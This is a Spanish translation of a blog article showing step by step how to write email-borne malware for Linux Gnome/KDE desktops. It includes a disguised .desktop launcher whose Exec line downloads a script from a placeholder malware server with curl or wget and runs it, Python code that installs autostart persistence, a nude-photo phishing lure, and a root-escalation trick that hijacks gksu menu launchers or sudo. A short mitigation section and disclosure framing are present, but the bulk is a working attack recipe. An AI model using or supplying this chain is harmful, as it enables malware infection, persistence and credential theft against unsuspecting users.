A la hora de traducir me he encontrado con lo que supongo es muy común a la hora de traducir textos técnicos informáticos, palabras que a pesar de que tienen su significado en español, son tan ampliamente usadas en inglés en estos círculos que no sabe uno si traducirlo o no, por ejemplo "buffer overflow", se podría traducir como algo así "desbordamiento de zona de memoria intermedia". He leído libros que realmente me dan grima con sus traducciones, siempre recordaré que en "Linux Kernel Modules" 3ª ed. en español la interfaz de loopback lo traducían como interfaz de bucle de retorno, y que me costó algunos segundos entender a lo que se refería. Por ello, y como este texto va destinado principalmente a técnicos en el área, voy a dejar unos cuantos conceptos directamente en su lenguaje original, puede incluso que traduzca algunos que realmente debiera dejar en inglés.
El texto está escrito por un hacker, por tanto sería recomendable conocer cosas de este mundillo, cuando decimos OS evidentemente nos referimos a Operating Systems, *nix hace referencia a UNIX, etc...
La traducción está hecha en una sola pasada (no quiero dedicarle mucho tiempo ni quiero ser riguroso 100%) así que te, tu lector que probablemente sepas inglés, encontrarás muchas cosas que habrías escrito de otra forma.
/* Comienzo */
El rumor de la arquitectura a prueba de balas de Linux
Hay un rumor que corre por ahí que dice que Linux está libre de virus. Se dice que la vieja herencia multiusuario de Linux (y otros *nix OSs) previenen el malware, debido a que los usuarios no están generalmente ejecutando sus programas en modo administrador (como usuario root). Se nos recuerda que son necesarios los bits de ejecución para ejecutar cualquier cosa - a diferencia de Windows - y esos bits no están establecidos en ningún archivo adjunto o fichero salvado desde emails o desde un navegador web.
Más aún, se nos dice, que la arquitectura de Linux es tan superior a la de Windows que no es posible la difusión de malware. Por supuesto - es sabido que - un fallo de bajo nivel, un buffer overflow u otra cosa es explotable. No obstante, los usuarios no pueden simplemente coger un virus por email o descargar malware desde Internet, al contrario que "esos usuarios de Windows". Linux los protegerá de su propia estupidez.
Al menos eso dicen las historias. Pero tristemente eso no es verdad. Voy a enseñar cómo es posible en unos pocos y fáciles pasos escribir un mail perfectamente válido para modernos Linux de escritorio. Voy a hacerlo no porque quiera desprestigiar a Linux. Todo lo contrario: Me gusta y doy soporte a Linux, que es todo lo que uso en casa y en el trabajo. Soy un gran partidario del software libre y abierto como los lectores de este blog sabrán. Pero si hay algún riesgo de seguridad, incluso en mi OS o distribución favoritos entonces necesita ser debatido. Más importante aún: Una falsa sensación de seguridad es peor que la falta de seguridad. Una reivindicación de superioridad no justificada tampoco ayuda en un debate razonable.
Algunas anotaciones antes de empezar
Actualización: Ha habido mucha controversia sobre mi por utilizar el término "virus" no de forma correcta aquí. Debería hablar sobre un "troyano" realmente. Hay desacuerdos sobre si los virus requieren interacción con el usuario o no, y sobre si deberíamos hablar sobre un gusano si estamos hablando de malware que puede difundirse sin interación del usuario. También hay algunos desacuerdos sobre si el malware que se difunde vía email puede ser considerado un virus o no. Hay muchas fuentes que llaman a tal cosa un virus (un virus de email) y otras que serían más concretas en su definición. Dejemos este artículo fuera de esa discusión. Aquí llamo a este malware "virus" incluso aunque requiere interación del usuario y a pesar de ello no doy código para difundirlo por si mismo (el código sólo es pseudo-código de muy alto nivel).
Debo hacer notar: Las vulnerabilidades de las que vamos a coger ventaja son 'características' de la mayoría de entornos de sistemas de escritorio Linux modernos y populares, Gnome y KDE. El núcleo actual de Linux por si mismo no tiene ninguna de estas vulnerabilidades. Un sistema Linux (o cualquier otro *nix) que no tenga Gnome o KDE no tendrá ninguno de estos problemas, lo cual es una de las grandes ventajas de separar adecuadamente el núcleo del OS de las demás aplicaciones como por ejemplo el entorno de escritorio.
Por otra parte, si ejecutas esos entornos de escritorio en otros OSs (quizás en FreeBSD, por ejemplo) entonces posiblemente tendrás que tratar con la misma vulnerabilidad. Un título más preciso para este artículo podría ser: Cómo escribir un virus para Gnome/KDE en 5 fáciles pasos. Pero debido a que Gnome y KDE se usan predominantemente sobre Linux, me parece que un virus basado en esas vulnerabilidades impactaría sobre todo a usuarios de Linux así que el título continua siendo válido.
El artículo explicará qué pasos debe seguir para infectar un escritorio y cómo instalar su malware y dará información de background de por qué esos pasos son necesarios y por qué funcionan. Después de la larga explicación hay un documento paso a paso hacia el final. Sin embargo hay algunos trozos de código aislados, el artículo no proveerá de código un malware listo para usar.
Varios días antes envié un mensaje a los equipos de seguridad de Ubuntu y Fedora, preguntándoles si les importaría echar una ojeada a ésto antes de que lo publicara. El equipo de Ubuntu todavía no ha dicho nada, pero el de Fedora me dijo que esto es "un comportamiento conocido y esperado" y que no tenían ningún problema con que publicara ésto. ¿Conocido y esperado? ¿en serio? De acuerdo entonces, aquí vamos.
Consiguiendo que los usuarios abran archivos adjuntos: ¡Mira estas fotos de desnudos!
Si estás buscando algo nuevo, un maravilloso exploit o algún otro inteligente truco hacker, te deberé decepcionar completamente. Lo que aquí voy a enseñar es meramente un ejemplo de cómo la ingeniería social de la vieja escuela para viruses (difícilmente se merecen ese nombre) que han estado molestando el mundo de Windows por tanto tiempo puede usarse en Linux, o cualquier otro *nix OS con un entorno de escritorio moderno.
La premisa de este tipo de 'virus' es simple: Conseguir que el usuario ejecute un archivo adjunto que le envías vía email. Esto no tiene nada de tecnológico. No hay magia negra. No estoy tomando ventaja de ningún exploit nuevo de ninguna forma. Para hacerlo funcionar en Linux simplemente estoy usando las 'características' de entornos de escritorio modernos por algunos caminos no esperados. A fin de cuentas todo ello es "conocido y esperado".
Hacerlo sobre Windows es así. Creas tu malware como un archivo EXE, lo adjuntas a un email que dice algo como: "¡Guau, mira estas fotos de desnudos de ...!". El desafortunado usuario hará doble click en el adjunto, y Windows - en ausencia de algún software anti-virus decente - obedientemente se ejecutará. Antes de que te des cuenta el malware es instalado y el sistema está comprometido. La ejecución de archivos .EXE desde clientes de email sobre Windows es algo, por supuesto, "conocido y esperado".
¿Crees que esto no es posible en Linux? Por supuesto que sí. Sólo requiere uno o dos pasos más. De todas formas no hay nada fundamental en la arquitectura de Linux que prevenga de la estupidez o ignorancia del usuario, que es evidentemente el ingrediente principal de cualquier vector de ataque como éste.
Sólo hay un pequeño problema que necesita ser resuelto. Bueno, dos, realmente.
Primero, la mayoría de clientes de correo para Linux no ejecutan adjuntos. Pueden intentar abrirlo si conocen la extension como un indicador del tipo de fichero (.pdf u otro documento por ejemplo). Pero no tiene por qué. Digamos que has escrito tu malware como un bonito script en Python. En ese caso, tu script podría tener de final .py, pero el cliente de correo probablemente seguirá sin invocar al interprete de python para tí. Tendrás que configurar el sistema para hacer eso, y ¿quién haría algo así?
Necesitamos una aproximación ligeramente diferente. Algo que siempre se ejecute cuando se clicke sobre él. Y aquí entonces hay un paso más que necesita ser tenido en cuenta por el usuario, que puede reducir un poco el ratio de éxito de este vector de ataque. El usuario primero tiene que salvar el adjunto y luego hacer doble click en él. Debido a que el cliente de correo generalmente no puede ejecutar un archivo ejecutable, los entornos de escritorio si que pueden como veremos. Entonces el email tiene que poner algo como esto:
¡Guau, mira estas fotos de desnudos de ...!
(si el adjunto se abre guardalo en el escritorio y abrelo...)
Eso sonará sospechoso para la mayoría de nosotros, pero 'la mayoría' no es 'todos' y la estupidez del usuario está en todos lados. Además, muchos usuarios de clientes de correo web suelen tener una rutina de guardar primero.
No subestimes la ignorancia del usuario - incluso en Linux
Quizás puedas argumentar que la mayoría de usuarios de Linux tienden a estar un poco más al tanto de lo que están haciendo. Normalmente tienen que hacer una elección consciente sobre sus OSes y más aún tienden a no ser el típico usuario no técnico. ¡Pero eso está cambiando! Algunos portátiles están siendo vendidos con Linux por defecto. En ese caso puede que los usuarios no hayan tenido una elección de Linux consciente y puede ser simplemente un feliz ignorante como esos usuarios de Windows que clickan en archivos adjuntos de emails. También algunas grandes organizaciones están pensando en usar Linux como el entorno de escritorio. Varias ciudades y gobiernos alrededor del mundo, por ejemplo. Los usuarios no son técnicos tampoco y clickarán en los archivos adjuntos.
Más aún, la ausencia de virus en el pasado ha dado a los usuarios de Linux una sensación falsa de seguridad. Estamos tan acostumbrados al mantra de "¡Linux es tan seguro, que ni siquiera necesitas software antivirus!" que probablemente no tenemos ningún anti-virus que nos pare cuando vayamos a hacer alguna bobería.
Ok, volviendo a las cosas técnicas. La mayoría de clientes de correo guardan los archivos adjuntos en el escritorio del usuario o en la carpeta de descargas dónde el usuario irá a mirar. Entonces si el usuario finalmente no revisa el adjunto sino que simplemente clicka sobre el botón de "guardar" en el cliente de correo ahí podemos hacer el truco: El adjunto va a estar ahí, delante mismo del usuario. De hecho, me he dado cuenta que, por alguna razón, mi cliente de correo de Evolution algunas veces tiene problemillas abriendo directamente documentos normales como adjuntos. Por ejemplo, alguien me envió un archivo .odt pero Evolution algunas veces no arranca OpenOffice por mí. Así que, cuando ésto no funciona, simplemente lo guardo y abro. ¡Yo mismo estoy entrenado para hacer este tipo de cosas!. Probablemente no soy el único.
Consiguiendo ejecutar el adjunto
Anteriormente dijimos que los adjuntos normalmente no son ejecutados cuando son guardados como ficheros. No hay extensiones estandar que indique que un fichero debiera ser ejecutado cuando se clicke sobre él, como ocurre en Windows. En vez de eso - y aquí está el segundo obstaculo que necesitamos salvar - para que el archivo sea ejecutable sobre Linux (o cualquier otro OS *nix), el bit de ejecución debe estar activo en los permisos del fichero. Esto es algo que Windows no tiene, y que se suele ver como una de las razones de por qué infectar un PC con Windows es tan fácil, y por qué es casi imposible en sistemas *nix. Cuando guardas un adjunto de un email sobre Linux, el bit de ejecución normalmente no está activo y entonces el fichero no puede ser ejecutado simplemente clickando sobre él. ¿Sin suerte?
No tan rápido. Los entornos de escritorio modernos como Gnome y KDE, convenientemente ofrecen una bonita aplicación llamada 'lauchers' (NdT: lanzador de aplicaciones). Son pequeños ficheros que describen cómo se debe ejecutar algo. Sólo unas pocas líneas que especifícan el nombre, el icono que debe ser mostrado y el comando a ejecutar. Convenientemente, la sintaxis de esos ficheros de lanzadores es la misma para Gnome y KDE. ¡Y esos lanzadores no necesitan tener ningún permiso de ejecución activo en ellos! Los entornos de escritorio tratan esos ficheros como un caso especial, de forma que cuando clickas sobre ellos Gnome o KDE ejecutarán felizmente el comando que está especificado dentro de la descripción del lanzador y sin necesidad de que el bit de ejecución esté activo. ¡Ahora estamos llegando a algo!.
Un problema que no estamos encarando es que el comando que puede ser ejecutado por el lanzador realmente es sólo una línea y sólo un comando. Es un poco enreversado instalar malware con sólo un único comando. O no? Mira esto:
% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"
¿Qué hace este comando? Ejecuta bash, un interprete de órdenes (parte de cualquier instalación por defecto), y le pasa como argumento la ristra con dos comandos sencillos, que bash ejecutará. El primer comando (curl) descarga un script de algun servidor de malware que hayas puesto en marcha y luego almacena el script en algún lugar que sepamos que podemos escribir (el directorio /tmp). Nótese que en algunos sistemas (Ubuntu, por ejemplo) no tienes curl, pero sí algun comando similar como wget. Eso complica un poco el comando actual, pero no es un problema insalvable, como se muestra en la guía paso a paso más adelante. El segundo comando (la llamada al intérprete de Python) ejecuta el recién script descargado (en el ejemplo es un script en Python). Ambos Python y curl (o wget) son componentes típicos de la mayoría de instalaciones por defecto de distros Linux.
Si ponemos esto en la línea de ejecución de la definición del lanzador entonces un simple click en el lanzador permitirá la ejecución del comando, que realmente ejecutado dos, que permitirán la descarga y ejecución de un script arbitrario tan complejo como se quiera. Todo sin necesidad de que el bit de ejecución esté activo.
No necesitas ser root para hackear (NdT: own es usado en la jerga hacker tal cual, junto con otras palabras como defaced, etc...) a alguien
Nada de eso requiere privilegios de root. Y ahora nuestro script puede hacer lo que quiera dentro de los confines de la cuenta del usuario. Puede estar limitado, pero eso no previene la posibilidad de hacer una cantidad significativa de daño.
Por ejemplo, puede robar el libro de direcciones del usuario para recolectar direcciones de correo y enviarlos a nuestro servidor de malware, comenzar a enviar spam o difundirse a si mismo por email. Puede isntalar una extensión para Firefox que captura contraseñas cuando el usuario las escribe. Puede compartir el escritorio via VNC sin conocimiento del usuario. Puede arrancar un demonio que haga saltar pop ups de anuncios. ¡Adware de Linux!
Todo esto es ejecutado como un proceso normal del usuario. En verdad, en un sistema de escritorio que normalmente es usado por un único usuario, tener la cuenta de ese usuario es muy parecido a tener la cuenta de root, en lo que se refiere a hacer daño: Todas las acciones que te interesen serán llevadas a cabo en la cuenta del usuario.
¿Pero quizás realmente quieras ser root para tu malware?. Bien, también hay una forma de conseguirlo, pero no está garantizado que funcione en todos los casos y francamente no es necesaria para infectar a una máquina. Para no distraernos de los puntos importantes de este artículo, tengo una discusión sobre ello en el apéndice.
Autoarranque después del reinicio
Pero seguramente, incluso si el usuario no es capaz de encontrar el proceso ejecutándose y matarlo simplemente un reinicio lo parará, ¿verdad? Claro, son necesarios privilegios de root para que nuestro malware sea ejecutado automáticamente en caso de que el sistema se reinicio ¿cierto?.
Pues no. Los usuarios no necesitan privilegios de root para configurar ciertas aplicaciones para autolanzarse cuando entran en sus propias sesiones. Eso es porque sólo realizan cambios sobres sus probpias cuentas de usuario, no en el sistema que subyace. De nuevo, cualquier aplicación ejecutada como parte de la sesión de usuario sólo correrá con el nivel privilegios de ese usuario, pero como hemos visto, ésto no es un gran problema. Muchas cosas interesantes se pueden hacer incluso así.
Encontes, ¿cómo hacemos nosotros mismos para auto ejecutarnos cuando el usuario entra en el sistema? Hay un montón de scripts que se ejecutan cuando ejecutas un intérprete de órdenes, pero un usuario que hace click sobre un adjunto sospechoso no suele ejecutar un intérprete de órdenes muy a menudo a fin de cuentas. Afortunadamente, los entornos de escritorio modernos tiene su propio conjunto de comandos que autoejecutan en el login (NdT: ya está bien de traducirlo jejeje). En el caso de Gnome, echa un vistazo a lo que hay en ~/.config/autostart (puede que este directorio aún no exista, si aún no has configurado ninguna aplicación para que se autoejecute). ¡Sí! ¡Más lanzadores! Esos son ejecutados cada vez que el usuario se logea en Gnome. Para KDE es incluso mas simple: Sólo enlaza ha tu ejecutable desde la carpeta ~/.kde/Autostart.
¡Nuestro malware entonces sólo necesita crear una entrada apropiada en esas carpetas y se ejecutará cuando el usuario se logée!
Y eso es todo lo que hay. Dejo la escritura del script de malware como un ejercicio para el lector (NdT: El traductor tampoco va a enseñarlo, pero esto es obscenamente sencillo, de hecho, todo esto es muy muy simplón).
Guía compacta paso a paso
Bien, aquí está el sumario, que también se complementa con algunos detalles más específicos:
- Escribe una pieza de malware a tu elección. ¿Quizás un script en Python? Buen lenguaje, código eficiente, preinstalado en la mayoría de distros Linux y con una biblioteca estandar poderosa (por ejemplo, biblioteca para envío de peticiones HTTP y manejo de SMTP son parte de la mayoría de instalaciones estandar). Coloca ese malware en algún servidor web
- Tu malware necesita la habilidad de instalar un lanzador por si mismo para que se ejecute cuando el usuario se logée. Como ya se dijo, para Gnome eso significa crear una descripción del lanzador en la carpeta ~/.config/autostart. Para KDE simplemente enlazar tu ejecutable desde la carpeta ~/.kde/Autostart. Puedes hacer que el malware simplemente fuerce a copiar o enlazar en ambas localizaciones (creando los directorios si no existían) o puede ser un poco más listo y elegir la opción correcta basándose en el entorno de escritorio que detecte.
Por ejemplo, para crear el acceso directo para KDE, todo lo que necesitas escribir en Python es:
import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")
Para Gnome el script en Python necesitaría escribir un lanzador en el directorio apropiado:
import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Escribir estas entradas de autoejecución es probablemente una de las primeras acciones que tu malware deba llevar a cabo. - Ahora creamos un lanzador para el instalador del malware, que es un poco diferente al lanzador que usamos para reiniciar el malware después de un reinicio. El lanzador para el instalador es lo que enviamos como adjunto en el email al usuario objetivo. Es lo que el usuario clickea después de guardarlo. Prueba algo como esto:
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Nótese que hemos especificado un nombre que aparenta no hacer daño e incluso elegido un icono que le hace parecer un documento normal (ese icono en particular está presente en Ubuntu (Gnome) y Kubuntu (KDE), pero no en Fedora). Si dices enviar fotos de desnudos en el email, sólo dale un nombre que aparente ser una imagen (algo con .jpg al final) y elige un icono estandar apropiado para imagenes.
La línea de Exec es un poco más larga ahora, porque tenemos que tener en cuenta la posibilidad de que wget o curl estén instalados. Por ejemplo, sistemas Ubuntu suelen tener wget, mientras Fedora viene con curl. Pasamos el comando apropiado a bash para comprobar cual está presente y entonces llamar al comando correcto para descargar el malware. No soy un experto en bash, así que puede que haya una manera mucho mas eficiente de hacer esto. Pero pillais la idea. También en esa línea estamos creando una buena localización para el script ($DROP), que no es inmediatamente obvia. El comando mkdir con la opción -p creará silenciosamente tanto directorios padres como sean necesarios. El directorio objetivo está en el home del usuario, escondido en algún inocente directorio que aparente ser local y sólo se verá cuando se muestren archivos ocultos. El directorio /tmp por supuesto no es un buen sitio para nuestro malware, puesto que se borra con cada reinicio.
Guarda este lanzador bajo el nombre que especificastes en la línea Name, pero añade '.desktop' al final del nombre actual. En nuestro caso salvaremos el archivo como 'some_text.odt.desktop'. Cuando lo coloques en el escritorio verás que Gnome o KDE lo tratan de manera especial, sin enseñar la extensión '.desktop'. Así el fichero aparentará ser 'some_text.odt'. Por supuesto, eso también significa que el adjunto al correo tendrá esta extensión también. Algunos usuarios se darán cuenta, otros no. - Adjunta este fichero a un email, que apunte al receptor que guardará y abrirá el adjunto. Como se explicó, una vez esté guardado aparecerá como 'some_text.odt' en el escritorio del usuario. Y con el icono que hemos elegido en la descripción del lanzador aparentará no ser dañino.
- Envía el email a tantas direcciones de email como tengas.
Fue fácil, ¿no?
Soluciones para el problema
El solución más fácil para prevenir este tipo de problemas es simplemente no clickar ciegamente en adjuntos que la gente te envía. ¿Suena como una frase que has oido en el contexto de Windows antes? Puedes apostar. El kit es: Incluso en Linux este aviso debería ser tomado en serio.
Una acción que puede ser tomada por los desarrolladores de Gnome y KDE: Hacer que los lanzadores requieran los permisos de ejecución. Un archivo adjunto guardado no los tendrá. Más aún, a pesar de que un lanzador sintácticamente correcto y apropiadamente nombrado sea dejado en el escritorio un usuario no puede hacer click en él y ejecutar si el bit de ejecución no esta activo.
Tercero, dejar de perpetuar el mito de que el malware y los virus son sólo problema de Windows. Linux es - en principio - tan vulnerable, por supuesto. Incluso así, los usuarios no trabajan con privilegios de root, si inadvertiamente ejecutan una pequeña parte de malware entonces mucho daño y autoejecuciones se pueden seguir haciendo. El simple hecho de que un archivo adjunto no correrá como root NO es suficiente protección contra la mayoría de cosas, como hemos visto. El hecho de que los archivos adjuntos no son guardados con los bits de ejecución NO es tampoco protección suficiente, debido a que los entornos de escritorio modernos te permiten maniobrar cuidadosamente alrededor de ésto.
Ahora mismo, el limitado mercado de Linux en los sitemas de escritorio proporciona cierta protección. La arquitectura de seguridad ofrece un poco más de protección. Pero nada de esto está a prueba de idiotas. Y con despliegues de Linux en sitios interesantes - tales como organizaciones gubernamentales - esas instalaciones también se vuelven interesantes objetivos para autores de malware.
Thunar?
Es interesante, el administrador de ficheros Thunar, sobre xfce (Xubuntu 8.10) hace algo que los administradores de ficheros de Gnome y KDE no hacen. Marca el archivo lanzador como malware potencial y previene la ejecución mediante un simple click. Trabaja donde los archivos adjuntos son guardados desde Thunderbird o desde un cliente de correo web como Yahoo Mail. ¿Alguien conoce qué hace concretamente Thunar para concluir si es 'malware'?
A pesar de todo, he comprobado que funciona con las recientes Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Debido a que todo ésto está basado en funcionalidades de Gnome y KDE, asumo que la mayoría de distribuciones que utilicen esos escritorios son vulnerables también.
Bootnote (NdT: No se como traducirlo exactamente pero se sobreentiende)
Hace algún tiempo había un reto orientado a escribir un virus que pudiera infectar un sistema de escritorio de Linux. El reto original contenía dos advertencias importantes, a saber: Primero, tenía que ser capaz de infectar la máquina que escribió el reto. Nada más se sabía de esa máquina. Por ejemplo, no sabíamos que escritorio estaba usando. Segundo, el virus debía poder escribir un fichero en el directorio/etc, que sólo suele tener acceso para el root.
Yo diría de un virus para Linux que si es capaz de infectar instalaciones estandar de algunas distros populares es exitoso. Se que la aproximación que estoy sugiriendo puede infectar instalaciones estandar de Ubuntu, Kubuntu y Fedora por ejemplo.
Segundo, como remarqué arriba, conseguir privilegios de root no es necesario para infectar un ordenador con Linux con éxito. Es más interesante la cuenta del usuario que es infectado, ¿no? De todas formas, si hablamos sobre ordenadores de escritorio, en la mayoría de casos sólo va a haber un usuario. La distinción entre infectar un sistema (como root) o una cuenta de usuario (como el usuario) es como mucho académica. Debido a que una infectión tiene el mismo efecto que decir "la máquina está infectada". Después de todo, el usuario la mayoría de las veces se logeará y el malware se ejecutará en cualquier caso. Da igual, me puse en contacto con el autor de este reto y le expliqué la situación. Insistió en las reglas originales de este reto. Es justo, es su reto y por lo tanto sus reglas.
¿Pues bien, y qué si realmente quieres ser root?
Apéndice: Consiguiendo ser root
Conseguir privilegios de root es considerado siempre un poco como conseguir el santo grial de comprometer otra máquina. Como hemos visto, no conseguirlo no siempre te previene de pasar un buen rato con un virus. Pero ya para rematar la faena, déjenme mostrar una forma para que tu malware consiga ser root. Puede haber otras formas, pero ésta es la que yo hago por ahora.
Puedes ver, incluso en Linux de escritorio normales, los usuarios hacen cosas como root. En el caso de Ubuntu por ejemplo usarás 'sudo' (o el equivalente gráfico gksu) de vez en cuando para realizar cierta administración del sistema. Quizás para administrar usuarios, cambiar la hora o para instalar nuevo software. Muchas cosas en el menú Sistema -> Administración te pedirán tu contraseña por ese motivo. Por defecto, el usuario de un sistema de escritorio Ubuntu tiende a estar en el grupo 'admin', el cual está mencionado en /etc/sudoers. Así que, dando tu contraseña puedes realizar tareas con privilegios de root.
Ahora bien, ¿cómo podemos obtener ventaja de ésto? Tiene que ocurrir que las cosas del menú de tu Gnome están configuradas individualmente en algún lado. ¿Quizás podamos hackear eso de forma que en vez de synaptic (el administrador gráfico de paquetes) o cualquier otra utilidad que corra con sudo or gksu, nuestro bonito malware sea ejecutado? ¿Después de que el usuario dé su contraseña para sudo? Pero las cosas del menú están definidas en un lugar al que sólo se puede tener acceso de escritora como root. Echa un vistazo a /usr/share/applications. Ahí puedes encontrar - otra vez - un gran número de lanzadores. Estos están definiendo varias cosas del menú. Por ejemplo, echa un vistazo a synaptic.desktop. Puedes ver que contiene la siguiente línea:
Exec=gksu /usr/sbin/synaptic
Sí, ¿y si pudiéramos ir y editar eso? Si nuestro malware pudiera ir ahí y cambiarlo a esto:
Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics
Eso ejecutaría nuestro malware con privilegios de root. Nótese de que silenciosamente pasamos el nombre original del ejecutable (/usr/sbin/synaptics) a nuestro malware, de forma que pueda arrancar synaptics después de que se dé a si mismo privilegios de root de forma permanente o de hacer lo que quiera como root. De esa forma el usuario no sospechará.
Pero, no podemos editar ese fichero. ¿Sin suerte otra vez? Afortunadamente no. Gnome es suficientemente amable como para mirar si tenemos definiciones locales de alguno de esos ficheros desktop, que sobreescribirá los ajustes del sistema. Esos van en ~/.local/share/applications. Así que simplemente puedes hacer una copia de synaptic.desktop de /usr/share/applications a ~/.local/share/applications y los cambios que quieras en él. Entonces sólo tienes que sentarte y esperar por la siguiente vez que el usuario ejecute synaptics y ya está.
Por supesto, no tienes por qué limitarte a synaptics. Para tener mejores posibilidades de ser ejecutado con privilegios de root cualquiera de las applicaciones en el menú de administración que requieran gksu son buenas. Y francamente, probablemente podrás hacer cambios parecidos e introducir gksu a muchas de las aplicaciones en en Sistema -> Preferencias. Como usuario de Ubuntu, tendrás que dar tu contraseña a gksu de vez en cuando. Si el usuario no presta atención, no se dará ni cuenta de que se le ha pedido la contraseña por una utilidad que nunca antes la había pedido.
Y para aquellos usuarios a los que les gusta usar el terminal (traductor presente): Bueno, en ese caso el malware simplemente liar un poco tu definición del path y colocar una versión 'tuneada' del comando sudo en tu path, que será ejecutado cada vez que escribas 'sudo'.
Como puedes ver, esto no te puede garantizar hacerte root (si el usuario nunca utiliza esos programas), pero tienes muchas posibilidades de conseguirlo si eres paciente.
Actualizado, Feb 12, 2009: Me resultaría sorprendente si yo fuera la primera persona que piensa en esta vulnerabilidad. Mirando un poco en Internet, no he podido encontrar referencias a ésto. El editor de LWN.net (NdT: Linux Week New, revista muy popular de Linux donde trabaja algún que otro desarrollador del núcleo incluso) hizo un mejor trabajo. Como señala aquí ha habido debates sobre las vulnerabilidades introducidas por los ficheros .descktop desde 2006.
Soy consciente de que hay varias faltas de ortografía (algunas las he visto yo mismo y otras sé que no las habré visto), e incluso también me doy por enterado de que en ciertas partes la traducción deja bastante que desear, pero creo que llega a las espectativas de alguien que quisiera ver este documento en español.
Happy hacking! ;)
